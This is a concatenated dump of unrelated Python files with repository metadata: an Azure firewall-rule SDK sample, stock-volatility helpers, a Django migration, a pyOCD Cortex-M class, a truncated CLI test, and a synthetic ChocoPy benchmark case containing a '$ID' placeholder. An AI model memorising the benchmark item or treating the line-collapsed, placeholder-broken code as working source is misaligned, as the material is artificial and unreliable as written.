# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from azure.identity import DefaultAzureCredential from azure.mgmt.paloaltonetworks import PaloAltoNetworksNgfwMgmtClient """ # PREREQUISITES pip install azure-identity pip install azure-mgmt-paloaltonetworks # USAGE python post_rules_delete_minimum_set_gen.py Before run the sample, please set the values of the client ID, tenant ID and client secret of the AAD application as environment variables: AZURE_CLIENT_ID, AZURE_TENANT_ID, AZURE_CLIENT_SECRET. For more info about how to get the value, please see: https://docs.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal """ def main(): client = PaloAltoNetworksNgfwMgmtClient( credential=DefaultAzureCredential(), subscription_id="SUBSCRIPTION_ID", ) response = client.post_rules.begin_delete( global_rulestack_name="lrs1", priority="1", ).result() print(response) # x-ms-original-file: specification/paloaltonetworks/resource-manager/PaloAltoNetworks.Cloudngfw/preview/2022-08-29-preview/examples/PostRules_Delete_MinimumSet_Gen.json if __name__ == "__main__": main()
9a05bb883ba068c5b2d77669562c68b4b2037e4b
9d2d6b29662ee32dfaef72504cc85981f29b5fca
/volat.py
6fe5fee87019a4ae22e903cdb5163b91378e111a
[]
no_license
jingmouren/Volatility-Prediction
63e9ed1705e23330a34e3bb4bf5091b1f680cff2
36d1dd79ffa8f2af6baed12f81b6003c58aea4c4
refs/heads/main
2023-08-26T06:51:43.204776
2021-10-31T17:01:51
2021-10-31T17:01:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,592
py
# The function below takes the file name corresponding to a stock and returns the stock_id def stock_id(name): import re i = re.search(r'\d+', name).group(0) i = int(i) return i # The function below takes the path of a folder containing stock files and returns a list of the contained file paths # sorted by stock_id def files(folder): import glob file_names = glob.glob(folder+'/*') file_names.sort(key=stock_id) return file_names # The function below takes a list of stock files, a number n and and a boolean value. And returns the concatenation of # of n the respective dataframes with and additional 'stock_id' columns. If the boolean value is TRUE it uses the first # n files, if the boolean value is FALSE it chooses randomly n files. def sub_frame(file_names, number, sequential): import random import pandas as pd if sequential: file_names = file_names[0:number] else: file_names = random.sample(file_names, number) data_frames = [] for filename in file_names: i = stock_id(filename) parquet_file = str(filename) frame = pd.read_parquet(parquet_file, engine='auto') size = frame.shape[0] column = [i] * size frame['ID'] = column data_frames.append(frame) data = pd.concat(data_frames) return data # The function below takes a stock dataframe and returns the first and last row of a random group. By group we mean a # a set of rows corresponding to the same time_id. The probability of each group is analogous to its size. def random_batch(frame): import random n = frame.shape[0] stock_list = list(range(n)) k = random.choice(stock_list) i = k right_end = k while frame.loc[i].at["time_id"] == frame.loc[k].at["time_id"]: right_end = i i = i + 1 i = k left_end = k while frame.loc[i].at["time_id"] == frame.loc[k].at["time_id"]: left_end = i i = i - 1 batch_locations = list(range(left_end, right_end + 1)) return batch_locations # The function below prints a parquet file given it's path. def parquet_print(filename): import pandas as pd parquet_file = str(filename) frame = pd.read_parquet(parquet_file, engine='auto') print(frame) # Similarly for csv files def csv_print(filename): import pandas as pd parquet_file = str(filename) frame = pd.read_csv(parquet_file) print(frame) # The function below returns the dataframe contained in a parquet file given its path. def parquet_frame(filename): import pandas as pd parquet_file = str(filename) frame = pd.read_parquet(parquet_file) return frame #Similarly for csv files def csv_frame(filename): import pandas as pd parquet_file = str(filename) frame = pd.read_csv(parquet_file) return frame # The function below takes a stock data frame and a number k and returns the first and last row of the # time_id-group containing the k_th row def local_patch(frame, k): n = frame.shape[0] time_id = frame.loc[k].at["time_id"] if time_id == 5: i = k right_end = k while frame.loc[i].at["time_id"] == time_id: right_end = i i = i + 1 patch_locations = (time_id, 0, right_end) elif time_id == 32767: i = k left_end = k while frame.loc[i].at["time_id"] == time_id: left_end = i i = i - 1 patch_locations = (time_id, left_end, n-1) else: i = k right_end = k while frame.loc[i].at["time_id"] == time_id: right_end = i i = i + 1 i = k left_end = k while frame.loc[i].at["time_id"] == time_id: left_end = i i = i - 1 patch_locations = (time_id, left_end, right_end) return patch_locations # The function below takes in a stock dataframe and a number between r 0 and 1. It returns a random list # of time_id-groups so that the total arrows of the groups do not exceed r*(size of the dataframe). The time_id groups # are represented as (first row of group, last row fo group) def file_sample(frame, percentage): import random n = frame.shape[0] rows = 0 patches = [] k = random.choice(range(n)) patch = local_patch(frame, k) rows = rows + patch[2] - patch[1] + 1 while rows <= percentage * n: patches.append(patch) k = random.choice(range(n)) patch = local_patch(frame, k) rows = rows + patch[2] - patch[1] + 1 return patches # The function below takes in a stock dataframe a list of time_id-groups of that dataframe (groups represented as in # the function above) and a real number r. It splits the list of time_id groups according to the real number and then # concatenates the data frames corresponding to it's part returning two dataframes. def patches_to_frame(frame, patches, train_size): import math import pandas as pd n = len(patches) k = math.floor(n*train_size) patches1 = patches[0:k] patches2 = patches[k:n] patches = [patches1, patches2] frames = [] for j in range(2): data_frames = [] for i in patches[j]: data_frames.append(frame[i[1]:i[2]+1]) data = pd.concat(data_frames) frames.append(data) return [frames[0], frames[1]] # The function below take a list of pats of stock files a real number p and a real number t. It randomly chooses time_id # groups from each file corresponding approximately to r*100 percentage of total rows in the files, also it splits # the list of groups according to t keeping a list of training groups and a list of test groups. Finally it concatenates # all the groups from all the files returning two data frames corresponding to a training dataframe and a test # dataframe. def global_random_sample(file_names, percentage, train_size): import pandas as pd train_frames = [] test_frames = [] for filename in file_names: i = stock_id(filename) frame = parquet_frame(filename) patches = file_sample(frame, percentage) frames = patches_to_frame(frame, patches, train_size) size = frames[0].shape[0] column = [i] * size frames[0]['stock_id'] = column train_frames.append(frames[0]) size = frames[1].shape[0] column = [i] * size frames[1]['stock_id'] = column test_frames.append(frames[1]) data1 = pd.concat(train_frames) data2 = pd.concat(test_frames) return [data1, data2] # The following function returns a 3D as required for the keras LSTM model. We pad each time_id group with 0s # so that the size of all groups is equal to 'groupsize'. The 'first' and 'last arguments corresponding to the first # and last column of 'frame' that will be used as values for the LSTM model. def lstm_input(frame, groupsize, first, last): import numpy as np import pandas as pd n = frame.shape[0] previous = 0 inpt = np.array([np.zeros((groupsize, last-first))]) for i in range(n - 1): if not frame.loc[i].at["time_id"] == frame.loc[i + 1].at["time_id"]: matrix = pd.DataFrame.to_numpy(frame.iloc[previous:i + 1, first:last]) pad = [[0] * (last-first)] * (groupsize - i - 1 + previous) matrix = np.concatenate((pad, matrix), axis=0) inpt = np.append(inpt, [matrix], axis=0) previous = i + 1 matrix = pd.DataFrame.to_numpy(frame.iloc[previous:n, first:last]) pad = [[0] * (last-first)] * (groupsize - n + previous) matrix = np.concatenate((pad, matrix), axis=0) inpt = np.append(inpt, [matrix], axis=0) inpt = np.delete(inpt, 0, axis=0) return inpt # The following function takes a dataframe that is a concatenation of stock dataframes and returns a subframe containing # all rows corresponding to stock_id = sid. It is required that the initial frame has a stock_id column. def stock_subframe(frame, sid): import numpy as np temp = np.array(frame['stock_id']) temp2 = np.where(temp == sid)[0] start = temp2[0] end = start + len(temp2) - 1 subframe = frame.loc[start: end] return subframe # The following function takes a dataframe of concatenated stock dataframes and returns the list of target values # of the corresponding (stock_id,time_id) elements. def frame_to_values(frame, values_fr): import numpy as np m = values_fr.shape[0] y = [] for i in range(m): if i == 0: sid = values_fr.loc[i].at["stock_id"] subframe = stock_subframe(frame, sid) sample_ids = subframe.loc[:, "time_id"] sample_ids = set(sample_ids) elif not values_fr.loc[i].at["stock_id"] == values_fr.loc[i-1].at["stock_id"]: sid = values_fr.loc[i].at["stock_id"] subframe = stock_subframe(frame, sid) sample_ids = subframe.loc[:, "time_id"] sample_ids = set(sample_ids) if values_fr.loc[i].at["time_id"] in sample_ids: y.append(values_fr.loc[i].at["target"]) y = np.array(y) return y # In the following function filename1 corresponds to the path of a file that is a random sample of some book-stock_id # file and filename2 is the path of the corresponding trade-stock_id file. It returns the random sample of filename2 # that contains the time_id-groups as filename2 def counterpart_file(filename1, filename2): import pandas as pd frame2 = parquet_frame(filename2) frame1 = csv_frame(filename1) sid = stock_id(filename2) subframe = stock_subframe(frame1, sid) sample_ids = subframe.loc[:, "time_id"] sample_ids = set(sample_ids) frames = [] previous = 0 n = frame2.shape[0] for i in range(n): if i == n - 1: if frame2.loc[i].at["time_id"] in sample_ids: subframe = frame2.loc[previous + 1:n - 1] frames.append(subframe) previous = i elif not frame2.loc[i + 1].at["time_id"] == frame2.loc[i].at["time_id"]: if frame2.loc[i].at["time_id"] in sample_ids: subframe = frame2.loc[previous + 1:i] frames.append(subframe) previous = i result = pd.concat(frames) return result # The following function takes a range of rows of a dataframe and returns a row with statistical information # of that range of rows def stat_contraction(frame, start, end): import numpy as np import math column_lists = [] for j in frame.columns[2:]: column_lists.append(np.array(frame[j][start:end])) values = [frame.loc[start].at["time_id"]] for j in column_lists: values.append(np.max(j)) values.append(np.min(j)) values.append(np.sum(j) / len(j)) values.append(math.sqrt(np.var(j))) values = np.array(values) values = values.reshape((1, len(values))) return values # The following function takes a stock dataframe and returns the dataframe formed after replacing each time_id-groups # with a row containing statistical information about it. def contracted_frame(frame): import numpy as np import pandas as pd import math new_columns = ['time_id', 'bid_price1_max', 'bid_price1_min', 'bid_price1_av', 'bid_price1_sd', 'ask_price1_max', 'ask_price1_min', 'ask_price1_av', 'ask_price1_sd', 'bid_price2_max', 'bid_price2_min', 'bid_price2_av', 'bid_price2_sd', 'ask_price2_max', 'ask_price2_min', 'ask_price2_av', 'ask_price2_sd', 'bid_size1_max', 'bid_size1_min', 'bid_size1_av', 'bid_size1_sd', 'ask_size1_max', 'ask_size1_min', 'ask_size1_av', 'ask_size1_sd', 'bid_size2_max', 'bid_size2_min', 'bid_size2_av', 'bid_size2_sd', 'ask_size2_max', 'ask_size2_min', 'ask_size2_av', 'ask_size2_sd'] contracted = pd.DataFrame(columns=new_columns) previous = 0 n = frame.shape[0] for i in range(n - 1): if not frame.loc[i].at["time_id"] == frame.loc[i + 1].at["time_id"]: values = stat_contraction(frame, previous+1, i) temp = pd.DataFrame(values, columns=new_columns) contracted = pd.concat([contracted, temp]) previous = i if i+1 == n-1: values = stat_contraction(frame, previous+1, i+1) temp = pd.DataFrame(values, columns=new_columns) contracted = pd.concat([contracted, temp]) previous = i return contracted
cbe5f43ddfbfbe7b436a28d4810339b2291dcf95
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/coverage-big-1706.py
e71fa3edcf5b892e227597f755678d3066f64bc5
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
13,349
py
count:int = 0 count2:int = 0 count3:int = 0 count4:int = 0 count5:int = 0 def foo(s: str) -> int: return len(s) def foo2(s: str, s2: str) -> int: return len(s) def foo3(s: str, s2: str, s3: str) -> int: return len(s) def foo4(s: str, s2: str, s3: str, s4: str) -> int: return len(s) def foo5(s: str, s2: str, s3: str, s4: str, s5: str) -> int: return len(s) class bar(object): p: bool = True def baz(self:"bar", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar2(object): p: bool = True p2: bool = True def baz(self:"bar2", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar2", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar3(object): p: bool = True p2: bool = True p3: bool = True def baz(self:"bar3", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar3", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz3(self:"bar3", xx: [int], xx2: [int], xx3: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 y:int = 1 y2:int = 1 y3:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal $ID if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar4(object): p: bool = True p2: bool = True p3: bool = True p4: bool = True def baz(self:"bar4", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar4", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz3(self:"bar4", xx: [int], xx2: [int], xx3: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 y:int = 1 y2:int = 1 y3:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz4(self:"bar4", xx: [int], xx2: [int], xx3: [int], xx4: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 x4:int = 0 y:int = 1 y2:int = 1 y3:int = 1 y4:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 def qux4(y: int, y2: int, y3: int, y4: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar5(object): p: bool = True p2: bool = True p3: bool = True p4: bool = True p5: bool = True def baz(self:"bar5", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar5", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz3(self:"bar5", xx: [int], xx2: [int], xx3: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 y:int = 1 y2:int = 1 y3:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz4(self:"bar5", xx: [int], xx2: [int], xx3: [int], xx4: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 x4:int = 0 y:int = 1 y2:int = 1 y3:int = 1 y4:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 def qux4(y: int, y2: int, y3: int, y4: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz5(self:"bar5", xx: [int], xx2: [int], xx3: [int], xx4: [int], xx5: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 x4:int = 0 x5:int = 0 y:int = 1 y2:int = 1 y3:int = 1 y4:int = 1 y5:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 def qux4(y: int, y2: int, y3: int, y4: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 if x > y: x = -1 def qux5(y: int, y2: int, y3: int, y4: int, y5: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 nonlocal x5 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" print(bar().baz([1,2]))
0eafa771e434cc47da07d9832275df08bc7e0215
ccd27037d13c0288aae5d94e616c659ce2a713a0
/donor/migrations/0001_initial.py
b2964b3233b6f9785178e02fc623f4e664a5e3c9
[]
no_license
AniketShahane/ZeroDay-01
99ce4dad366b778851518a07a34ab9d100246ed5
2a12c6965fdbc9c1f1db3d2f207861a7ddcb62e8
refs/heads/master
2020-04-21T11:14:03.077996
2019-02-11T13:21:31
2019-02-11T13:21:31
169,516,547
0
0
null
null
null
null
UTF-8
Python
false
false
1,907
py
# Generated by Django 2.1.5 on 2019-02-06 08:07 import datetime from django.db import migrations, models import django.db.models.deletion from django.utils.timezone import utc class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Donor', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ('area', models.CharField(max_length=250)), ('amount', models.IntegerField()), ('time', models.DateTimeField(verbose_name=datetime.datetime(2019, 2, 6, 8, 7, 30, 318661, tzinfo=utc))), ], ), migrations.CreateModel( name='RevenueAdded', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('principal_amount', models.IntegerField()), ('time', models.DateTimeField(verbose_name=datetime.datetime(2019, 2, 6, 8, 7, 30, 324627, tzinfo=utc))), ('donor_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='donor.Donor')), ], ), migrations.CreateModel( name='RevenueSpent', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('principal_amount', models.IntegerField()), ('resource', models.CharField(choices=[('SCH', 'Scholarships'), ('ST', 'Stationery'), ('ACC', 'Accommodation'), ('HC', 'Health Care')], max_length=255)), ('time', models.DateTimeField(verbose_name=datetime.datetime(2019, 2, 6, 8, 7, 30, 325058, tzinfo=utc))), ], ), ]
f8f7e6aff74349c59cce9401e12149fb28ed8f8b
208bc8b87cb20fc6e57c8c8846cbe947b2eec1f3
/pyocd/coresight/cortex_m_v8m.py
ca01e71819f240e6e35497dc4209539e8afd50ac
[ "Apache-2.0", "CC-BY-4.0" ]
permissive
canerbulduk/pyOCD
28c545f25ef9b2949a1cd49c00faeeda986a26fe
a61e8b8dc2050309510d9fe7ca63680aafe06749
refs/heads/main
2023-08-24T21:10:52.427697
2021-11-09T15:13:48
2021-11-09T15:13:48
426,275,463
0
0
Apache-2.0
2021-11-09T15:08:22
2021-11-09T15:08:21
null
UTF-8
Python
false
false
7,538
py
# pyOCD debugger # Copyright (c) 2019-2020 Arm Limited # Copyright (c) 2021 Chris Reed # SPDX-License-Identifier: Apache-2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging from .cortex_m import CortexM from .core_ids import (CORE_TYPE_NAME, CoreArchitecture, CortexMExtension) from ..core.target import Target from .cortex_m_core_registers import CoreRegisterGroups LOG = logging.getLogger(__name__) class CortexM_v8M(CortexM): """! @brief Component class for a v8.x-M architecture Cortex-M core.""" ARMv8M_BASE = 0xC ARMv8M_MAIN = 0xF ## DFSR.PMU added in v8.1-M. DFSR_PMU = (1 << 5) DSCSR = 0xE000EE08 DSCSR_CDSKEY = 0x00020000 DSCSR_CDS = 0x00010000 DSCSR_SBRSEL = 0x00000002 DSCSR_SBRSELEN = 0x00000001 # Processor Feature Register 1 PFR1 = 0xE000ED44 PFR1_SECURITY_MASK = 0x000000f0 PFR1_SECURITY_SHIFT = 4 PFR1_SECURITY_EXT_V8_0 = 0x1 # Base security extension. PFR1_SECURITY_EXT_V8_1 = 0x3 # v8.1-M adds several instructions. # Media and FP Feature Register 1 MVFR1 = 0xE000EF44 MVFR1_MVE_MASK = 0x00000f00 MVFR1_MVE_SHIFT = 8 MVFR1_MVE__INTEGER = 0x1 MVFR1_MVE__FLOAT = 0x2 def __init__(self, rootTarget, ap, memory_map=None, core_num=0, cmpid=None, address=None): super(CortexM_v8M, self).__init__(rootTarget, ap, memory_map, core_num, cmpid, address) # Only v7-M supports VECTRESET. self._supports_vectreset = False @property def supported_security_states(self): """! @brief Tuple of security states supported by the processor. @return Tuple of @ref pyocd.core.target.Target.SecurityState "Target.SecurityState". The result depends on whether the Security extension is enabled. """ if self.has_security_extension: return (Target.SecurityState.NONSECURE, Target.SecurityState.SECURE) else: return (Target.SecurityState.NONSECURE,) def _read_core_type(self): """! @brief Read the CPUID register and determine core type and architecture.""" # Read CPUID register cpuid = self.read32(CortexM.CPUID) implementer = (cpuid & CortexM.CPUID_IMPLEMENTER_MASK) >> CortexM.CPUID_IMPLEMENTER_POS if implementer != CortexM.CPUID_IMPLEMENTER_ARM: LOG.warning("CPU implementer is not ARM!") arch = (cpuid & CortexM.CPUID_ARCHITECTURE_MASK) >> CortexM.CPUID_ARCHITECTURE_POS self.core_type = (cpuid & CortexM.CPUID_PARTNO_MASK) >> CortexM.CPUID_PARTNO_POS self.cpu_revision = (cpuid & CortexM.CPUID_VARIANT_MASK) >> CortexM.CPUID_VARIANT_POS self.cpu_patch = (cpuid & CortexM.CPUID_REVISION_MASK) >> CortexM.CPUID_REVISION_POS pfr1 = self.read32(self.PFR1) pfr1_sec = ((pfr1 & self.PFR1_SECURITY_MASK) >> self.PFR1_SECURITY_SHIFT) self.has_security_extension = pfr1_sec in (self.PFR1_SECURITY_EXT_V8_0, self.PFR1_SECURITY_EXT_V8_1) if self.has_security_extension: self._extensions.append(CortexMExtension.SEC) if pfr1_sec == self.PFR1_SECURITY_EXT_V8_1: self._extensions.append(CortexMExtension.SEC_V81) if arch == self.ARMv8M_BASE: self._architecture = CoreArchitecture.ARMv8M_BASE else: self._architecture = CoreArchitecture.ARMv8M_MAIN if self.core_type in CORE_TYPE_NAME: if self.has_security_extension: LOG.info("CPU core #%d is %s r%dp%d (security ext present)", self.core_number, CORE_TYPE_NAME[self.core_type], self.cpu_revision, self.cpu_patch) else: LOG.info("CPU core #%d is %s r%dp%d", self.core_number, CORE_TYPE_NAME[self.core_type], self.cpu_revision, self.cpu_patch) else: LOG.warning("CPU core #%d type is unrecognized", self.core_number) def _check_for_fpu(self): """! @brief Determine if a core has an FPU. In addition to the tests performed by CortexM, this method tests for the MVE extension. """ super(CortexM_v8M, self)._check_for_fpu() # Check for MVE. mvfr1 = self.read32(self.MVFR1) mve = (mvfr1 & self.MVFR1_MVE_MASK) >> self.MVFR1_MVE_SHIFT if mve == self.MVFR1_MVE__INTEGER: self._extensions.append(CortexMExtension.MVE) elif mve == self.MVFR1_MVE__FLOAT: self._extensions += [CortexMExtension.MVE, CortexMExtension.MVE_FP] def _build_registers(self): super(CortexM_v8M, self)._build_registers() # Registers available with Security extension, either Baseline or Mainline. if self.has_security_extension: self._core_registers.add_group(CoreRegisterGroups.V8M_SEC_ONLY) # Mainline-only registers. if self.architecture == CoreArchitecture.ARMv8M_MAIN: self._core_registers.add_group(CoreRegisterGroups.V7M_v8M_ML_ONLY) # Registers available when both Mainline and Security extensions are implemented. if self.has_security_extension: self._core_registers.add_group(CoreRegisterGroups.V8M_ML_SEC_ONLY) # MVE registers. if CortexMExtension.MVE in self.extensions: self._core_registers.add_group(CoreRegisterGroups.V81M_MVE_ONLY) def get_security_state(self): """! @brief Returns the current security state of the processor. @return @ref pyocd.core.target.Target.SecurityState "Target.SecurityState" enumerator. """ dscsr = self.read32(self.DSCSR) if (dscsr & self.DSCSR_CDS) != 0: return Target.SecurityState.SECURE else: return Target.SecurityState.NONSECURE def clear_debug_cause_bits(self): self.write32(CortexM.DFSR, self.DFSR_PMU | CortexM.DFSR_EXTERNAL | CortexM.DFSR_VCATCH | CortexM.DFSR_DWTTRAP | CortexM.DFSR_BKPT | CortexM.DFSR_HALTED) def get_halt_reason(self): """! @brief Returns the reason the core has halted. This overridden version of this method adds support for v8.x-M halt reasons. @return @ref pyocd.core.target.Target.HaltReason "Target.HaltReason" enumerator or None. """ dfsr = self.read32(self.DFSR) if dfsr & self.DFSR_HALTED: reason = Target.HaltReason.DEBUG elif dfsr & self.DFSR_BKPT: reason = Target.HaltReason.BREAKPOINT elif dfsr & self.DFSR_DWTTRAP: reason = Target.HaltReason.WATCHPOINT elif dfsr & self.DFSR_VCATCH: reason = Target.HaltReason.VECTOR_CATCH elif dfsr & self.DFSR_EXTERNAL: reason = Target.HaltReason.EXTERNAL elif dfsr & self.DFSR_PMU: reason = Target.HaltReason.PMU else: reason = None return reason
964be754ef86bec5917a57c625ad4ed6a31349f8
dcafbc9a6eea2b0e9aabc527b93cd97d270a67af
/tests/test_cli.py
1cc1282f4575e65d72cfcb43033f27022e631d72
[ "MIT" ]
permissive
bfontaine/edt2ics
83fbd51540d7887e049be90efb70f382110dafaf
1245f174694c30a42c489d831970c32ae42c0b0d
refs/heads/master
2021-05-15T01:55:46.595212
2015-01-05T11:31:48
2015-01-05T11:31:48
24,652,011
1
0
MIT
2021-03-23T09:20:53
2014-09-30T19:18:04
Python
UTF-8
Python
false
false
1,722
py
# -*- coding: UTF-8 -*- import sys from tempfile import NamedTemporaryFile from os import remove try: import unittest2 as unittest from cStringIO import StringIO except ImportError: from io import StringIO import unittest from edt2ics.cli import write_ical, main, ScheduleScraper def ctrlC(self, *args, **kwargs): raise KeyboardInterrupt class TestCli(unittest.TestCase): def setUp(self): self.real_stdout = sys.stdout self.stdout = sys.stdout = StringIO() self.argv = sys.argv self.sys_exit = sys.exit self.exit_code = None self.ss_init = ScheduleScraper.__init__ def _fake_exit(code=None): self.exit_code = code _fake_exit.__name__ = sys.exit.__name__ sys.exit = _fake_exit def tearDown(self): sys.stdout = self.real_stdout sys.argv = self.argv sys.exit = self.sys_exit ScheduleScraper.__init__ = self.ss_init # write_ical def test_write_stdout(self): s = u'foobarXz123$$9_=+@@' write_ical(s, '-') self.stdout.seek(0) self.assertEquals(s, self.stdout.read()) def test_write_file(self): s = 